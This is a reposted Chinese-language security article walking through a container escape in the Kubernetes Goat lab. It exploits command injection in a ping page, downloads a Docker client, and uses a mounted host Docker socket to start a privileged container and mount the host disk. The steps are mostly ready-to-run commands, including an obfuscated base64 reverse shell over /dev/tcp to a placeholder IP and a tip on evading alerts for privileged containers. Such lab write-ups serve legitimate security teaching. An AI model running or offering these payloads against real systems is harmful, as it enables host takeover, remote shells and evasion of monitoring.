【云原生安全】容器环境DIND场景下的漏洞发现与利用

admin 2026-01-26 02:28:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文探讨云原生DIND场景下的容器逃逸技术。首先利用命令注入漏洞获取初始访问,探测发现容器挂载了宿主机的Docker套接字。随后在容器内部署Docker客户端,通过套接字与宿主机守护进程交互,创建特权容器并挂载宿主机磁盘,最终读取宿主机敏感文件实现逃逸,揭示了套接字暴露配置的高危风险。 综合评分: 88 文章分类: 云原生安全,渗透测试,漏洞分析,WEB安全,内网渗透


cover_image

【云原生安全】容器环境DIND场景下的漏洞发现与利用

进击的HACK

2026年1月24日 07:50 江苏

编者荐语:

如果是minikube启动的,逃逸只会逃逸到minikube的容器下面

以下文章来源于朱厌安全 ,作者朱厌安全

朱厌安全 .

WEB安全技术分享、CTF解题思路笔记分享、网安工具分享、渗透测试、漏洞挖掘等 推荐公众号:狐狸说安全

0X00 前言

靶场搭建就不过多描述了,不知道的可以看上一篇文章 在场景结束时,我们将理解并学习以下内容:

  1. 您将学习测试和利用容器 UNIX 套接字错误配置
  2. 能够利用容器并逃逸出Docker容器
  3. 了解管道和 CI/CD 构建系统中常见的错误配置

在开始之前,我们要了解一下目前该场景的一些状况:在2024年官方将该场景套接字进行了修改

可以看到官方将/var/run/docker.sock修改为了/run/containerd/containerd.sock,在后面利用的时候我将此处进行了还原,但是映射后的容器中的套接字名称以及路径并没有改变,意思就是我是使用的宿主机的docker.sock套接字,但在容器中仍然为/run/containerd/containerd.sock,注意区分不要被误导!

0X01 漏洞发现与利用

访问漏洞环境地址: http://IP:1231/

漏洞探测,发现为典型的ping漏洞,在pikachu靶场也有这个场景漏洞

尝试绕过

127.0.0.1 && curl www.baidu.com

发现利用成功,但是这样输出的太多垃圾数据了,尝试一下有没有其他的利用方式

;id

发现可以截断执行命令(常规手法),接下来就探测内网的环境容器

;env

存在kubernete环境,探测容器权限

;fdisk -l

执行该命令后发现返回报错信息,尝试其他命令探测,执行以下命令

;cat /proc/self/status | grep CapEff

返回结果为CapEff: 000001ffffffffff判断为高权限容器环境,尝试下一步利用查看挂载情况,执行命令

;mount

发现存在套接字并且为containerd,也是本篇所要使用到的利用思路,但是在前言中提到,我们将deployment.yaml文件进行了修改,所以暂时不对运行时套接字展开利用

0X02 DIND配置错误漏洞发现

修改/kubernetes-goat/scenarios/health-checkdeployment.yaml文件

apiVersion: apps/v1
kind:Deployment
metadata:
name:health-check-deployment
spec:
selector:
    matchLabels:
      app:health-check
template:
    metadata:
      labels:
        app:health-check
    spec:
      containers:
      -name:health-check
        image:madhuakula/k8s-goat-health-check
        resources:
          limits:
            memory:"100Mi"
            cpu:"30m"
        ports:
        -containerPort:80
      # Custom Stuff
        securityContext:
          privileged:true
        volumeMounts:
          -mountPath:/custom/containerd/containerd.sock
            name:containerd-sock-volume
      volumes:
        -name:containerd-sock-volume
          hostPath:
            path:/run/docker.sock#/run/containerd/containerd.sock
            type:Socket
---
apiVersion:v1
kind:Service
metadata:
name:health-check-service
spec:
ports:
-protocol:TCP
    port:80
    targetPort:80
selector:
    app:health-check

这里将运行时套接字修改为了docker.sock套接字 开启靶场环境

bash setup-kubernetes-goat.sh

等待镜像创建成功后,将端口服务暴露出来

bash access-kubernetes-goat.sh

访问地址:http://IP:1231/下载docker

;wget https://download.docker.com/linux/static/stable/x86_64/docker-28.3.2.tgz -O /tmp/docker.tar.gz

如果遇到执行下载命令后页面访问失败,可以执行下面的命令进入容器下载完成docker后再继续向下漏洞利用

kubectl exec -it -n default $(kubectl get pod -l app=health-check -o name) -- /bin/bash

下载完成后,解压tar包(注意: 这里已经回靶场Web界面了)

;tar /tmp/docker.tar.gz /tmp/docker

这里containerd.sock实际映射的是docker.sock,因为前面已经修改yaml文件,但是containerd.sock没有修改,看自己怎么修改了,也可以直接把containerd.sock修改为docker.sock路径。如果需要修改,可以修改为下面这个yaml内容。

Eg:

apiVersion: apps/v1
kind:Deployment
metadata:
name:health-check-deployment
spec:
selector:
    matchLabels:
      app:health-check
template:
    metadata:
      labels:
        app:health-check
    spec:
      containers:
      -name:health-check
        image:madhuakula/k8s-goat-health-check
        resources:
          limits:
            memory:"100Mi"
            cpu:"30m"
        ports:
        -containerPort:80
      # Custom Stuff
        securityContext:
          privileged:true
        volumeMounts:
          -mountPath:/custom/docker.sock #/custom/containerd/containerd.sock
            name:containerd-sock-volume
      volumes:
        -name:containerd-sock-volume
          hostPath:
            path:/run/docker.sock #/run/containerd/containerd.sock
            type:Socket
---
apiVersion:v1
kind:Service
metadata:
name:health-check-service
spec:
ports:
-protocol:TCP
    port:80
    targetPort:80
selector:
    app:health-check

如果用上面这个yaml,可以执行;mount | grep sock来确定是否修改成功,后面就可以使用命令列出镜像列表:

;/tmp/docker/docker -H unix:///custom/docker.sock images

这里我还是使用未修改的套接字(实际是映射的宿主机的docker.sock套接字,修改过上面的,下面的命令平替一下即可)

;/tmp/docker/docker -H unix:///custom/containerd/containerd.sock images

这里就运用到了本文的DIND机制,即在容器使用套接字就可以管理宿主机中的容器

0X03 利用DIND特权进行容器逃逸🎯

可以逃逸的思路

1. 寻找或创建特权容器挂载进行逃逸
2. 尝试CVE历史漏洞进行逃逸
3. 等等

反弹shell到vps(方便后面命令执行) 攻击机进行监听

nc -lvnp 8811

漏洞页面执行反弹命令

;echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvSVAvODgxMSA8JjE" | base64 -d | bash

可以看到成功接收到shell

 /tmp/docker/docker -H unix:///custom/containerd/containerd.sock images

尝试创建特权容器(实战中这里需要斟酌一下,流量设备可能会具备创建异常特权容器的相关策略,可能会出发告警,要规避一下)

/tmp/docker/docker -H unix:///custom/containerd/containerd.sock run -it --privileged ubuntu /bin/bash

非交互式终端创建特权容器

/tmp/docker/docker -H unix:///custom/containerd/containerd.sock run --privileged ubuntu /bin/bash

也可以强制模拟TTY制造一个伪终端

script -q -c "/tmp/docker/docker -H unix:///custom/containerd/containerd.sock run -it --privileged ubuntu /bin/bash" /dev/null

这里我直接用伪终端进行下一步操作,查看挂载:

mount

 挂载自盘到mnt文件夹

mount /dev/vda1 /mnt

进入/mnt文件夹,分别cat两个passwd文件来证明逃逸是否成功

cat /etc/passwd #容器下的passwd
cat etc/passwd

成功逃逸,DIND漏洞场景利用到此结束了(后面可能会出一个运行时套接字的利用)

集合更新记录

【云原生安全】CI CD与Gitops中易产生的漏洞发现与利用

朱厌安全,公众号:朱厌安全【云原生安全】CI CD与Gitops中易产生的漏洞发现与利用

云原生安全】海外Kubernete靶场搭建

朱厌安全,公众号:朱厌安全【云原生安全】海外Kubernete靶场搭建


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:进击的HACK 《【云原生安全】容器环境DIND场景下的漏洞发现与利用》

评论:0   参与:  0